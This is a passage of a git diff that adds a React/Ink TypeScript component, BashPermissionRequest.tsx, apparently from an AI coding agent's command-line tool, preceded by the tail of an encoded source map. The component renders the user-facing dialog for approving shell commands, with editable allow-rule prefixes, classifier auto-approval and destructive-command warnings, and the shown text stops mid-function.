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QUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFILENBQUE7RUFBQTtFQUFBLElBQUFJLEVBQUE7RUFBQSxJQUFBSixDQUFBLFFBQUFsQyxPQUFBO0lBQ2xFc0MsRUFBQSxHQUFBdEMsT0FBa0MsSUFBdkIsQ0FBQyxJQUFJLENBQUMsQ0FBRUEsUUFBTSxDQUFFLEVBQWYsSUFBSSxDQUFrQjtJQUFBa0MsQ0FBQSxNQUFBbEMsT0FBQTtJQUFBa0MsQ0FBQSxNQUFBSSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBSixDQUFBO0VBQUE7RUFBQSxJQUFBSyxFQUFBO0VBQUEsSUFBQUwsQ0FBQSxRQUFBRyxFQUFBLElBQUFILENBQUEsUUFBQUksRUFBQTtJQUZyQ0MsRUFBQSxJQUFDLEdBQUcsQ0FDRixDQUFBRixFQUFrRSxDQUNqRSxDQUFBQyxFQUFpQyxDQUNwQyxFQUhDLEdBQUcsQ0FHRTtJQUFBSixDQUFBLE1BQUFHLEVBQUE7SUFBQUgsQ0FBQSxNQUFBSSxFQUFBO0lBQUFKLENBQUEsTUFBQUssRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUwsQ0FBQTtFQUFBO0VBQUEsSUFBQU0sRUFBQTtFQUFBLElBQUFOLENBQUEsUUFBQXBDLE9BQUEsSUFBQW9DLENBQUEsUUFBQXZDLGdCQUFBO0lBQ0w2QyxFQUFBLEdBQUE3QyxnQkFNQSxJQUxDLENBQUMsR0FBRyxDQUFjLFdBQUMsQ0FBRCxHQUFDLENBQ2pCLENBQUMsSUFBSSxDQUNILENBQUMsSUFBSSxDQUFFRyxRQUFNLENBQUUsRUFBZCxJQUFJLENBQ1AsRUFGQyxJQUFJLENBR1AsRUFKQyxHQUFHLENBS0w7SUFBQW9DLENBQUEsTUFBQXBDLE9BQUE7SUFBQW9DLENBQUEsTUFBQXZDLGdCQUFBO0lBQUF1QyxDQUFBLE9BQUFNLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFOLENBQUE7RUFBQTtFQUFBLElBQUFPLEVBQUE7RUFBQSxJQUFBUCxDQUFBLFNBQUFLLEVBQUEsSUFBQUwsQ0FBQSxTQUFBTSxFQUFBO0lBWEhDLEVBQUEsSUFBQyxHQUFHLENBQWUsYUFBUSxDQUFSLFFBQVEsQ0FBWSxTQUFDLENBQUQsR0FBQyxDQUN0QyxDQUFBRixFQUdLLENBQ0osQ0FBQUMsRUFNRCxDQUNGLEVBWkMsR0FBRyxDQVlFO0lBQUFOLENBQUEsT0FBQUssRUFBQTtJQUFBTCxDQUFBLE9BQUFNLEVBQUE7SUFBQU4sQ0FBQSxPQUFBTyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBUCxDQUFBO0VBQUE7RUFBQSxPQVpOTyxFQVlNO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/permissions/BashPermissionRequest/BashPermissionRequest.tsx b/_all-in-one-upload/cc-haha/src/components/permissions/BashPermissionRequest/BashPermissionRequest.tsx
new file mode 100644
index 0000000..bb19372
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/permissions/BashPermissionRequest/BashPermissionRequest.tsx
@@ -0,0 +1,482 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import figures from 'figures';
+import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { Box, Text, useTheme } from '../../../ink.js';
+import { useKeybinding } from '../../../keybindings/useKeybinding.js';
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../../services/analytics/growthbook.js';
+import { type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS, logEvent } from '../../../services/analytics/index.js';
+import { sanitizeToolNameForAnalytics } from '../../../services/analytics/metadata.js';
+import { useAppState } from '../../../state/AppState.js';
+import { BashTool } from '../../../tools/BashTool/BashTool.js';
+import { getFirstWordPrefix, getSimpleCommandPrefix } from '../../../tools/BashTool/bashPermissions.js';
+import { getDestructiveCommandWarning } from '../../../tools/BashTool/destructiveCommandWarning.js';
+import { parseSedEditCommand } from '../../../tools/BashTool/sedEditParser.js';
+import { shouldUseSandbox } from '../../../tools/BashTool/shouldUseSandbox.js';
+import { getCompoundCommandPrefixesStatic } from '../../../utils/bash/prefix.js';
+import { createPromptRuleContent, generateGenericDescription, getBashPromptAllowDescriptions, isClassifierPermissionsEnabled } from '../../../utils/permissions/bashClassifier.js';
+import { extractRules } from '../../../utils/permissions/PermissionUpdate.js';
+import type { PermissionUpdate } from '../../../utils/permissions/PermissionUpdateSchema.js';
+import { SandboxManager } from '../../../utils/sandbox/sandbox-adapter.js';
+import { Select } from '../../CustomSelect/select.js';
+import { ShimmerChar } from '../../Spinner/ShimmerChar.js';
+import { useShimmerAnimation } from '../../Spinner/useShimmerAnimation.js';
+import { type UnaryEvent, usePermissionRequestLogging } from '../hooks.js';
+import { PermissionDecisionDebugInfo } from '../PermissionDecisionDebugInfo.js';
+import { PermissionDialog } from '../PermissionDialog.js';
+import { PermissionExplainerContent, usePermissionExplainerUI } from '../PermissionExplanation.js';
+import type { PermissionRequestProps } from '../PermissionRequest.js';
+import { PermissionRuleExplanation } from '../PermissionRuleExplanation.js';
+import { SedEditPermissionRequest } from '../SedEditPermissionRequest/SedEditPermissionRequest.js';
+import { useShellPermissionFeedback } from '../useShellPermissionFeedback.js';
+import { logUnaryPermissionEvent } from '../utils.js';
+import { bashToolUseOptions } from './bashToolUseOptions.js';
+const CHECKING_TEXT = 'Attempting to auto-approve\u2026';
+
+// Isolates the 20fps shimmer clock from BashPermissionRequestInner. Before this
+// extraction, useShimmerAnimation lived inside the 535-line Inner body, so every
+// 50ms clock tick re-rendered the entire dialog (PermissionDialog + Select +
+// all children) for the ~1-3 seconds the classifier typically takes. Inner also
+// has a Compiler bailout (see below), so nothing was auto-memoized — the full
+// JSX tree was reconstructed 20-60 times per classifier check.
+function ClassifierCheckingSubtitle() {
+  const $ = _c(6);
+  const [ref, glimmerIndex] = useShimmerAnimation("requesting", CHECKING_TEXT, false);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = [...CHECKING_TEXT];
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  let t1;
+  if ($[1] !== glimmerIndex) {
+    t1 = <Text>{t0.map((char, i) => <ShimmerChar key={i} char={char} index={i} glimmerIndex={glimmerIndex} messageColor="inactive" shimmerColor="subtle" />)}</Text>;
+    $[1] = glimmerIndex;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== ref || $[4] !== t1) {
+    t2 = <Box ref={ref}>{t1}</Box>;
+    $[3] = ref;
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+export function BashPermissionRequest(props) {
+  const $ = _c(21);
+  const {
+    toolUseConfirm,
+    toolUseContext,
+    onDone,
+    onReject,
+    verbose,
+    workerBadge
+  } = props;
+  let command;
+  let description;
+  let t0;
+  if ($[0] !== toolUseConfirm.input) {
+    ({
+      command,
+      description
+    } = BashTool.inputSchema.parse(toolUseConfirm.input));
+    t0 = parseSedEditCommand(command);
+    $[0] = toolUseConfirm.input;
+    $[1] = command;
+    $[2] = description;
+    $[3] = t0;
+  } else {
+    command = $[1];
+    description = $[2];
+    t0 = $[3];
+  }
+  const sedInfo = t0;
+  if (sedInfo) {
+    let t1;
+    if ($[4] !== onDone || $[5] !== onReject || $[6] !== sedInfo || $[7] !== toolUseConfirm || $[8] !== toolUseContext || $[9] !== verbose || $[10] !== workerBadge) {
+      t1 = <SedEditPermissionRequest toolUseConfirm={toolUseConfirm} toolUseContext={toolUseContext} onDone={onDone} onReject={onReject} verbose={verbose} workerBadge={workerBadge} sedInfo={sedInfo} />;
+      $[4] = onDone;
+      $[5] = onReject;
+      $[6] = sedInfo;
+      $[7] = toolUseConfirm;
+      $[8] = toolUseContext;
+      $[9] = verbose;
+      $[10] = workerBadge;
+      $[11] = t1;
+    } else {
+      t1 = $[11];
+    }
+    return t1;
+  }
+  let t1;
+  if ($[12] !== command || $[13] !== description || $[14] !== onDone || $[15] !== onReject || $[16] !== toolUseConfirm || $[17] !== toolUseContext || $[18] !== verbose || $[19] !== workerBadge) {
+    t1 = <BashPermissionRequestInner toolUseConfirm={toolUseConfirm} toolUseContext={toolUseContext} onDone={onDone} onReject={onReject} verbose={verbose} workerBadge={workerBadge} command={command} description={description} />;
+    $[12] = command;
+    $[13] = description;
+    $[14] = onDone;
+    $[15] = onReject;
+    $[16] = toolUseConfirm;
+    $[17] = toolUseContext;
+    $[18] = verbose;
+    $[19] = workerBadge;
+    $[20] = t1;
+  } else {
+    t1 = $[20];
+  }
+  return t1;
+}
+
+// Inner component that uses hooks - only called for non-MCP CLI commands
+function BashPermissionRequestInner({
+  toolUseConfirm,
+  toolUseContext,
+  onDone,
+  onReject,
+  verbose: _verbose,
+  workerBadge,
+  command,
+  description
+}: PermissionRequestProps & {
+  command: string;
+  description?: string;
+}): React.ReactNode {
+  const [theme] = useTheme();
+  const toolPermissionContext = useAppState(s => s.toolPermissionContext);
+  const explainerState = usePermissionExplainerUI({
+    toolName: toolUseConfirm.tool.name,
+    toolInput: toolUseConfirm.input,
+    toolDescription: toolUseConfirm.description,
+    messages: toolUseContext.messages
+  });
+  const {
+    yesInputMode,
+    noInputMode,
+    yesFeedbackModeEntered,
+    noFeedbackModeEntered,
+    acceptFeedback,
+    rejectFeedback,
+    setAcceptFeedback,
+    setRejectFeedback,
+    focusedOption,
+    handleInputModeToggle,
+    handleReject,
+    handleFocus
+  } = useShellPermissionFeedback({
+    toolUseConfirm,
+    onDone,
+    onReject,
+    explainerVisible: explainerState.visible
+  });
+  const [showPermissionDebug, setShowPermissionDebug] = useState(false);
+  const [classifierDescription, setClassifierDescription] = useState(description || '');
+  // Track whether the initial description (from prop or async generation) was empty.
+  // Once we receive a non-empty description, this stays false.
+  const [initialClassifierDescriptionEmpty, setInitialClassifierDescriptionEmpty] = useState(!description?.trim());
+
+  // Asynchronously generate a generic description for the classifier
+  useEffect(() => {
+    if (!isClassifierPermissionsEnabled()) return;
+    const abortController = new AbortController();
+    generateGenericDescription(command, description, abortController.signal).then(generic => {
+      if (generic && !abortController.signal.aborted) {
+        setClassifierDescription(generic);
+        setInitialClassifierDescriptionEmpty(false);
+      }
+    }).catch(() => {}); // Keep original on error
+    return () => abortController.abort();
+  }, [command, description]);
+
+  // GH#11380: For compound commands (cd src && git status && npm test), the
+  // backend already computed correct per-subcommand suggestions via tree-sitter
+  // split + per-subcommand permission checks. decisionReason.type ===
+  // 'subcommandResults' marks this path. The sync prefix heuristics below
+  // (getSimpleCommandPrefix/getFirstWordPrefix) operate on the FULL compound
+  // string and pick the first two words — producing dead rules like
+  // `Bash(cd src:*)` or `Bash(./script.sh && npm test)` that never match again.
+  // Users accumulate 150+ of these in settings.local.json.
+  //
+  // When compound with exactly one Bash rule (e.g. `cd src && npm test` where
+  // cd is read-only → only npm test needs approval), seed the editable input
+  // from the backend rule. When compound with 2+ rules, editablePrefix stays
+  // undefined so bashToolUseOptions falls through to yes-apply-suggestions,
+  // which saves all per-subcommand rules atomically.
+  const isCompound = toolUseConfirm.permissionResult.decisionReason?.type === 'subcommandResults';
+
+  // Editable prefix — initialize synchronously with the best prefix we can
+  // extract without tree-sitter, then refine via tree-sitter for compound
+  // commands. The sync path matters because TREE_SITTER_BASH is gated
+  // ant-only: in external builds the async refinement below always resolves
+  // to [] and this initial value is what the user sees.
+  //
+  // Lazy initializer: this runs regex + split on every render if left in
+  // the render body; it's only needed for initial state.
+  const [editablePrefix, setEditablePrefix] = useState<string | undefined>(() => {
+    if (isCompound) {
+      // Backend suggestion is the source of truth for compound commands.
+      // Single rule → seed the editable input so the user can refine it.
+      // Multiple/zero rules → undefined → yes-apply-suggestions handles it.
+      const backendBashRules = extractRules('suggestions' in toolUseConfirm.permissionResult ? toolUseConfirm.permissionResult.suggestions : undefined).filter(r => r.toolName === BashTool.name && r.ruleContent);
+      return backendBashRules.length === 1 ? backendBashRules[0]!.ruleContent : undefined;
+    }
+    const two = getSimpleCommandPrefix(command);
+    if (two) return `${two}:*`;
+    const one = getFirstWordPrefix(command);
+    if (one) return `${one}:*`;
+    return command;
+  });
+  const hasUserEditedPrefix = useRef(false);
+  const onEditablePrefixChange = useCallback((value: string) => {
+    hasUserEditedPrefix.current = true;
+    setEditablePrefix(value);
+  }, []);
+  useEffect(() => {
+    // Skip async refinement for compound commands — the backend already ran
+    // the full per-subcommand analysis and its suggestion is correct.
+    if (isCompound) return;
+    let cancelled = false;
+    getCompoundCommandPrefixesStatic(command, subcmd => BashTool.isReadOnly({
+      command: subcmd
+    })).then(prefixes => {
+      if (cancelled || hasUserEditedPrefix.current) return;
+      if (prefixes.length > 0) {
+        setEditablePrefix(`${prefixes[0]}:*`);
+      }
+    }).catch(() => {}); // Keep sync prefix on tree-sitter failure
+    return () => {
+      cancelled = true;
+    };
+  }, [command, isCompound]);
+
+  // Track whether classifier check was ever in progress (persists after completion).
+  // classifierCheckInProgress is set once at queue-push time (interactiveHandler)
+  // and only ever transitions true→false, so capturing the mount-time value is
+  // sufficient — no latch/ref needed. The feature() ternary keeps the property
+  // read out of external builds (forbidden-string check).
+  const [classifierWasChecking] = useState(feature('BASH_CLASSIFIER') ? !!toolUseConfirm.classifierCheckInProgress : false);
+
+  // These derive solely from the tool input (fixed for the dialog lifetime).
+  // The shimmer clock used to live in this component and re-render it at 20fps
+  // while the classifier ran (see ClassifierCheckingSubtitle above for the
+  // extraction). React Compiler can't auto-memoize imported functions (can't
+  // prove side-effect freedom), so this useMemo still guards against any
+  // re-render source (e.g. Inner state updates). Same pattern as PR#20730.
+  const {
+    destructiveWarning: destructiveWarning_0,
+    sandboxingEnabled: sandboxingEnabled_0,
+    isSandboxed: isSandboxed_0
+  } = useMemo(() => {
+    const destructiveWarning = getFeatureValue_CACHED_MAY_BE_STALE('tengu_destructive_command_warning', false) ? getDestructiveCommandWarning(command) : null;
+    const sandboxingEnabled = SandboxManager.isSandboxingEnabled();
+    const isSandboxed = sandboxingEnabled && shouldUseSandbox(toolUseConfirm.input);
+    return {
+      destructiveWarning,
+      sandboxingEnabled,
+      isSandboxed
+    };
+  }, [command, toolUseConfirm.input]);
+  const unaryEvent = useMemo<UnaryEvent>(() => ({
+    completion_type: 'tool_use_single',
+    language_name: 'none'
+  }), []);
+  usePermissionRequestLogging(toolUseConfirm, unaryEvent);
+  const existingAllowDescriptions = useMemo(() => getBashPromptAllowDescriptions(toolPermissionContext), [toolPermissionContext]);
+  const options = useMemo(() => bashToolUseOptions({
+    suggestions: toolUseConfirm.permissionResult.behavior === 'ask' ? toolUseConfirm.permissionResult.suggestions : undefined,
+    decisionReason: toolUseConfirm.permissionResult.decisionReason,
+    onRejectFeedbackChange: setRejectFeedback,
+    onAcceptFeedbackChange: setAcceptFeedback,
+    onClassifierDescriptionChange: setClassifierDescription,
+    classifierDescription,
+    initialClassifierDescriptionEmpty,
+    existingAllowDescriptions,
+    yesInputMode,
+    noInputMode,
+    editablePrefix,
+    onEditablePrefixChange
+  }), [toolUseConfirm, classifierDescription, initialClassifierDescriptionEmpty, existingAllowDescriptions, yesInputMode, noInputMode, editablePrefix, onEditablePrefixChange]);
+
+  // Toggle permission debug info with keybinding
+  const handleToggleDebug = useCallback(() => {
+    setShowPermissionDebug(prev => !prev);
+  }, []);
+  useKeybinding('permission:toggleDebug', handleToggleDebug, {
+    context: 'Confirmation'
+  });
+
+  // Allow Esc to dismiss the checkmark after auto-approval
+  const handleDismissCheckmark = useCallback(() => {
+    toolUseConfirm.onDismissCheckmark?.();
+  }, [toolUseConfirm]);
+  useKeybinding('confirm:no', handleDismissCheckmark, {
+    context: 'Confirmation',
+    isActive: feature('BASH_CLASSIFIER') ? !!toolUseConfirm.classifierAutoApproved : false
+  });
+  function onSelect(value_0: string) {
+    // Map options to numeric values for analytics (strings not allowed in logEvent)
+    let optionIndex: Record<string, number> = {
+      yes: 1,
+      'yes-apply-suggestions': 2,
+      'yes-prefix-edited': 2,
+      no: 3
+    };
+    if (feature('BASH_CLASSIFIER')) {
+      optionIndex = {
+        yes: 1,
+        'yes-apply-suggestions': 2,
+        'yes-prefix-edited': 2,
+        'yes-classifier-reviewed': 3,
+        no: 4
+      };
+    }
+    logEvent('tengu_permission_request_option_selected', {
+      option_index: optionIndex[value_0],
+      explainer_visible: explainerState.visible
+    });
+    const toolNameForAnalytics = sanitizeToolNameForAnalytics(toolUseConfirm.tool.name) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS;
+    if (value_0 === 'yes-prefix-edited') {
+      const trimmedPrefix = (editablePrefix ?? '').trim();
+      logUnaryPermissionEvent('tool_use_single', toolUseConfirm, 'accept');
+      if (!trimmedPrefix) {
+        toolUseConfirm.onAllow(toolUseConfirm.input, []);
+      } else {
+        const prefixUpdates: PermissionUpdate[] = [{
+          type: 'addRules',
+          rules: [{
+            toolName: BashTool.name,
+            ruleContent: trimmedPrefix
+          }],
+          behavior: 'allow',
+          destination: 'localSettings'
+        }];
+        toolUseConfirm.onAllow(toolUseConfirm.input, prefixUpdates);
+      }
+      onDone();
+      return;
+    }
+    if (feature('BASH_CLASSIFIER') && value_0 === 'yes-classifier-reviewed') {
+      const trimmedDescription = classifierDescription.trim();
+      logUnaryPermissionEvent('tool_use_single', toolUseConfirm, 'accept');
+      if (!trimmedDescription) {
+        toolUseConfirm.onAllow(toolUseConfirm.input, []);
+      } else {
+        const permissionUpdates: PermissionUpdate[] = [{
+          type: 'addRules',
+          rules: [{
+            toolName: BashTool.name,
+            ruleContent: createPromptRuleContent(trimmedDescription)
+          }],
+          behavior: 'allow',
+          destination: 'session'
+        }];
